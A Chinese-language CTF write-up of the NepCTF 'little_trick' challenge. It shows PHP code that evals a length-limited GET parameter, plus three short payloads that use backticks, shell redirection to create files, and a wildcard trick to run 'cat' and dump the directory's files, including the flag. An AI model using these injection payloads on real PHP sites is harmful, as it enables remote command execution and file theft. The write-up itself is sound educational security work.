nepctf-little_trick

前言

萌新第一次认真做题,结果连签到都签不上,(惨惨。盯着little_trick看了好久,看出来是个命令执行题目,nep最多只有12个字符,但是len必须小于8,一开始我想的是len=-12,然后nep里用exec去执行命令,但是不知道哪里出问题了不太行。赛后问了出题人,我去查了下substr函数才知道,我当时对substr理解不到位。(lll¬ω¬)

考点

命令执行

用反引号执行系统命令,php的一个小trick。

利用大于号>创建文件

利用通配符*把目录下列出的第一个文件当作命令 剩下的当作参数执行(linux默认按文件名字典序排序)

1
2
3
4
5
6
7
8
9
10
  error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

payload:

1
2
3
nep=`ls>z`;&len=7
nep=`>cat`;&len=7
nep=`*>z`;&len=6

先用ls>z把所有文件写入到z文件里,查看z文件发现原来有index.php和nepctf.php两个文件

image-20210324170429818

然后再写入一个cat文件,最后用*>z把两个文件内容写入z文件,最后访问z文件,得到flag

image-20210324173713534

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2021 Blog of Tianze

请我喝杯咖啡吧~

支付宝
微信